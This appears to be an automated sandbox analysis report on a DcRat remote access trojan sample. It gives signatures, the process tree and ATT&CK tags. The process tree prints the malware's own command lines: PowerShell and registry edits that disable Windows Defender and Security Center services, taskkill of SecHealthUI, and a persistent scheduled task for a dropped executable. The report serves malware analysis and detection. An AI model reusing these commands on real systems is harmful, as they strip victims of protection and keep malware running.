Analysis
- max time kernel
147s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
14/05/2024, 11:55
General
- Target c564138a5dfe37ca9392c0ed3722bb10_NeikiAnalytics.exe
- Size 2.4MB
- Sample240514-n3eblaef76
- SHA256 f4abbf4717010d698712c6f85944d73755d0fc30a60844fc6d0c9d86822cca38
Malware Config
Signatures
- DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
- Modifies security service 2 TTPs 3 IoCs
- DCRat payload 1 IoCs
Detects payload of DCRat, commonly dropped by NSIS installers.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 2 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Drops file in Program Files directory 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Kills process with taskkill 2 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\c564138a5dfe37ca9392c0ed3722bb10_NeikiAnalytics.exe"C:\Users\Admin\AppData\Local\Temp\c564138a5dfe37ca9392c0ed3722bb10_NeikiAnalytics.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell Set-MpPreference -MAPSReporting 0 >nul2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -MAPSReporting 03⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell Set-MpPreference -MAPSReporting Disabled >nul2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -MAPSReporting Disabled3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c taskkill /f /im SecHealthUI.exe >nul 2>nul2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im SecHealthUI.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell Set-MpPreference -UiLockDown 1 >nul 2>nul2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -UiLockDown 13⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c taskkill /f /im SecHealthUI.exe >nul 2>nul2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im SecHealthUI.exe3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell Set-MpPreference -SubmitSamplesConsent 0 >nul2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -SubmitSamplesConsent 03⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c start "" "C:\ProgramData\Microsoft\Windows\Caches\UpdateWeb2View.exe" >nul2⤵
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\Microsoft\Windows\Caches\UpdateWeb2View.exe"C:\ProgramData\Microsoft\Windows\Caches\UpdateWeb2View.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c echo >nul2⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c start /b "" "C:\ProgramData\Microsoft\Network\Connections\NetTraceAgent.exe" >nul2⤵
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\Microsoft\Network\Connections\NetTraceAgent.exe"C:\ProgramData\Microsoft\Network\Connections\NetTraceAgent.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 04⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting Disabled4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 04⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMnitoring $true4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -UILockdown $true4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force"4⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' -Name DisableRealtimeMonitoring -Value 1 -PropertyType DWORD -Force"4⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\SecurityHealthService' -Name Start -Value 4 -PropertyType DWORD -Force"4⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\wscsvc' -Name Start -Value 4 -PropertyType DWORD -Force"4⤵
- Modifies security service
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection' -Name DisableBehaviorMonitoring -Value 1 -PropertyType DWORD -Force"4⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection' -Name DisableOnAccessProtection -Value 1 -PropertyType DWORD -Force"4⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection' -Name DisableScanOnRealtimeEnable -Value 1 -PropertyType DWORD -Force"4⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $True4⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$action=New-ScheduledTaskAction -Execute 'C:\ProgramData\Microsoft\Network\Connections\NetTraceAgent.exe'; $trigger = @(New-ScheduledTaskTrigger -AtStartup; New-ScheduledTaskTrigger -AtLogon); $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -DisallowHardTerminate -ExecutionTimeLimit ([TimeSpan]::FromDays(999)); Register-ScheduledTask -TaskName 'NetTraceInfoTask' -taskPath '\Microsoft\Windows\NetTrace' -Action $action -Trigger $trigger -Settings $settings -RunLevel Highest -Description 'Task that checks the NET connection trace.';"4⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 04⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting Disabled4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 04⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMnitoring $true4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -UILockdown $true4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force"4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' -Name DisableRealtimeMonitoring -Value 1 -PropertyType DWORD -Force"4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\SecurityHealthService' -Name Start -Value 4 -PropertyType DWORD -Force"4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\wscsvc' -Name Start -Value 4 -PropertyType DWORD -Force"4⤵
- Modifies security service
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection' -Name DisableBehaviorMonitoring -Value 1 -PropertyType DWORD -Force"4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection' -Name DisableOnAccessProtection -Value 1 -PropertyType DWORD -Force"4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection' -Name DisableScanOnRealtimeEnable -Value 1 -PropertyType DWORD -Force"4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $True4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$action=New-ScheduledTaskAction -Execute 'C:\ProgramData\Microsoft\Network\Connections\NetTraceAgent.exe'; $trigger = @(New-ScheduledTaskTrigger -AtStartup; New-ScheduledTaskTrigger -AtLogon); $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -DisallowHardTerminate -ExecutionTimeLimit ([TimeSpan]::FromDays(999)); Register-ScheduledTask -TaskName 'NetTraceInfoTask' -taskPath '\Microsoft\Windows\NetTrace' -Action $action -Trigger $trigger -Settings $settings -RunLevel Highest -Description 'Task that checks the NET connection trace.';"4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting 04⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -MAPSReporting Disabled4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -SubmitSamplesConsent 04⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableRealtimeMnitoring $true4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -UILockdown $true4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force"4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender' -Name DisableRealtimeMonitoring -Value 1 -PropertyType DWORD -Force"4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\SecurityHealthService' -Name Start -Value 4 -PropertyType DWORD -Force"4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\wscsvc' -Name Start -Value 4 -PropertyType DWORD -Force"4⤵
- Modifies security service
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection' -Name DisableBehaviorMonitoring -Value 1 -PropertyType DWORD -Force"4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection' -Name DisableOnAccessProtection -Value 1 -PropertyType DWORD -Force"4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "New-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection' -Name DisableScanOnRealtimeEnable -Value 1 -PropertyType DWORD -Force"4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -DisableArchiveScanning $True4⤵
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$action=New-ScheduledTaskAction -Execute 'C:\ProgramData\Microsoft\Network\Connections\NetTraceAgent.exe'; $trigger = @(New-ScheduledTaskTrigger -AtStartup; New-ScheduledTaskTrigger -AtLogon); $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -DisallowHardTerminate -ExecutionTimeLimit ([TimeSpan]::FromDays(999)); Register-ScheduledTask -TaskName 'NetTraceInfoTask' -taskPath '\Microsoft\Windows\NetTrace' -Action $action -Trigger $trigger -Settings $settings -RunLevel Highest -Description 'Task that checks the NET connection trace.';"4⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell.exe "$action=New-ScheduledTaskAction -Execute 'C:\ProgramData\Microsoft\Network\Connections\NetTraceAgent.exe'; $trigger = @(New-ScheduledTaskTrigger -AtStartup; New-ScheduledTaskTrigger -AtLogon); $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -DisallowHardTerminate -ExecutionTimeLimit ([TimeSpan]::FromDays(999)); Register-ScheduledTask -TaskName 'NetTraceInfoTask' -taskPath '\Microsoft\Windows\NetTrace' -Action $action -Trigger $trigger -Settings $settings -RunLevel Highest -Description 'Task that checks the NET connection trace.';" >nul2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe "$action=New-ScheduledTaskAction -Execute 'C:\ProgramData\Microsoft\Network\Connections\NetTraceAgent.exe'; $trigger = @(New-ScheduledTaskTrigger -AtStartup; New-ScheduledTaskTrigger -AtLogon); $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -DisallowHardTerminate -ExecutionTimeLimit ([TimeSpan]::FromDays(999)); Register-ScheduledTask -TaskName 'NetTraceInfoTask' -taskPath '\Microsoft\Windows\NetTrace' -Action $action -Trigger $trigger -Settings $settings -RunLevel Highest -Description 'Task that checks the NET connection trace.';"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Replay Monitor
Loading Replay Monitor...
Downloads
NetTraceAgent.exe
UpdateWeb2View.exe
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_e1y3diqv.s5h.ps1
memory/540-277-0x00000000706B0000-0x00000000706FC000-memory.dmp
memory/552-431-0x0000000070C20000-0x0000000070C6C000-memory.dmp
memory/640-478-0x0000000070C20000-0x0000000070C6C000-memory.dmp
memory/1588-497-0x0000000070C20000-0x0000000070C6C000-memory.dmp
memory/1664-19-0x0000000005D50000-0x0000000005D9C000-memory.dmp
memory/1664-16-0x0000000005910000-0x0000000005976000-memory.dmp
memory/1664-38-0x0000000007220000-0x00000000072B6000-memory.dmp
memory/1664-37-0x0000000007010000-0x000000000701A000-memory.dmp
memory/1664-36-0x0000000006FA0000-0x0000000006FBA000-memory.dmp
memory/1664-35-0x00000000075E0000-0x0000000007C5A000-memory.dmp
memory/1664-34-0x00000000752D0000-0x0000000075A80000-memory.dmp
memory/1664-1-0x0000000002370000-0x00000000023A6000-memory.dmp
memory/1664-3-0x0000000004F10000-0x0000000005538000-memory.dmp
memory/1664-33-0x0000000006E70000-0x0000000006F13000-memory.dmp
memory/1664-2-0x00000000752D0000-0x0000000075A80000-memory.dmp
memory/1664-31-0x0000000006BF0000-0x0000000006C0E000-memory.dmp
memory/1664-32-0x00000000752D0000-0x0000000075A80000-memory.dmp
memory/1664-40-0x00000000071E0000-0x00000000071EE000-memory.dmp
memory/1664-41-0x00000000071F0000-0x0000000007204000-memory.dmp
memory/1664-42-0x00000000072E0000-0x00000000072FA000-memory.dmp
memory/1664-43-0x00000000072C0000-0x00000000072C8000-memory.dmp
memory/1664-20-0x0000000006C30000-0x0000000006C62000-memory.dmp
memory/1664-21-0x00000000710F0000-0x000000007113C000-memory.dmp
memory/1664-46-0x00000000752D0000-0x0000000075A80000-memory.dmp
memory/1664-18-0x00000000058A0000-0x00000000058BE000-memory.dmp
memory/1664-17-0x0000000005980000-0x0000000005CD4000-memory.dmp
memory/1664-39-0x00000000071A0000-0x00000000071B1000-memory.dmp
memory/1664-15-0x0000000005830000-0x0000000005896000-memory.dmp
memory/1664-14-0x0000000005790000-0x00000000057B2000-memory.dmp
memory/1664-0-0x00000000752DE000-0x00000000752DF000-memory.dmp
memory/1664-4-0x00000000752D0000-0x0000000075A80000-memory.dmp
memory/1916-601-0x0000000070C20000-0x0000000070C6C000-memory.dmp
memory/1932-591-0x0000000070C20000-0x0000000070C6C000-memory.dmp
memory/2304-208-0x00000000706B0000-0x00000000706FC000-memory.dmp
memory/2648-50-0x00000000752D0000-0x0000000075A80000-memory.dmp
memory/2648-48-0x00000000752D0000-0x0000000075A80000-memory.dmp
memory/2648-49-0x00000000752D0000-0x0000000075A80000-memory.dmp
memory/2648-51-0x0000000006110000-0x0000000006464000-memory.dmp
memory/2648-62-0x00000000710F0000-0x000000007113C000-memory.dmp
memory/2648-72-0x00000000752D0000-0x0000000075A80000-memory.dmp
memory/2648-73-0x00000000752D0000-0x0000000075A80000-memory.dmp
memory/2648-75-0x00000000752D0000-0x0000000075A80000-memory.dmp
memory/2764-357-0x00000000706B0000-0x00000000706FC000-memory.dmp
memory/2788-689-0x0000000070C20000-0x0000000070C6C000-memory.dmp
memory/2928-189-0x00000000706B0000-0x00000000706FC000-memory.dmp
memory/2928-218-0x0000000007760000-0x0000000007774000-memory.dmp
memory/3112-831-0x0000000070C20000-0x0000000070C6C000-memory.dmp
memory/3400-107-0x0000000005980000-0x0000000005CD4000-memory.dmp
memory/3400-109-0x00000000710F0000-0x000000007113C000-memory.dmp
memory/3424-228-0x00000000706B0000-0x00000000706FC000-memory.dmp
memory/3656-287-0x00000000063D0000-0x00000000063F2000-memory.dmp
memory/3748-661-0x0000000070C20000-0x0000000070C6C000-memory.dmp
memory/3988-247-0x00000000706B0000-0x00000000706FC000-memory.dmp
memory/4076-642-0x0000000070C20000-0x0000000070C6C000-memory.dmp
memory/4128-708-0x0000000070C20000-0x0000000070C6C000-memory.dmp
memory/4168-821-0x0000000070C20000-0x0000000070C6C000-memory.dmp
memory/4364-730-0x0000000070C20000-0x0000000070C6C000-memory.dmp
memory/4408-257-0x0000000007040000-0x0000000007202000-memory.dmp
memory/4408-124-0x00000000002F0000-0x00000000003B6000-memory.dmp
memory/4408-131-0x0000000004C70000-0x0000000004C7A000-memory.dmp
memory/4408-127-0x0000000004C90000-0x0000000004D22000-memory.dmp
memory/4408-126-0x0000000005240000-0x00000000057E4000-memory.dmp
memory/4408-132-0x0000000005120000-0x0000000005178000-memory.dmp
memory/4408-276-0x0000000007840000-0x0000000007D6C000-memory.dmp
memory/4408-178-0x00000000064E0000-0x00000000064EE000-memory.dmp
memory/4408-168-0x0000000006110000-0x0000000006176000-memory.dmp
memory/4416-345-0x00000000706B0000-0x00000000706FC000-memory.dmp
memory/4472-147-0x00000000065A0000-0x00000000065EC000-memory.dmp
memory/4472-145-0x0000000006110000-0x0000000006464000-memory.dmp
memory/4472-179-0x0000000007930000-0x0000000007941000-memory.dmp
memory/4472-157-0x00000000706B0000-0x00000000706FC000-memory.dmp
memory/4472-167-0x0000000007730000-0x00000000077D3000-memory.dmp
memory/4580-87-0x00000000710F0000-0x000000007113C000-memory.dmp
memory/4580-85-0x0000000006160000-0x00000000064B4000-memory.dmp
memory/4668-459-0x0000000070C20000-0x0000000070C6C000-memory.dmp
memory/4700-430-0x0000000007EE0000-0x0000000007EF4000-memory.dmp
memory/4700-419-0x0000000007B10000-0x0000000007BB3000-memory.dmp
memory/4700-409-0x0000000070C20000-0x0000000070C6C000-memory.dmp
memory/4700-408-0x0000000006990000-0x00000000069DC000-memory.dmp
memory/4700-406-0x0000000006520000-0x0000000006874000-memory.dmp
memory/4700-429-0x0000000007E90000-0x0000000007EA1000-memory.dmp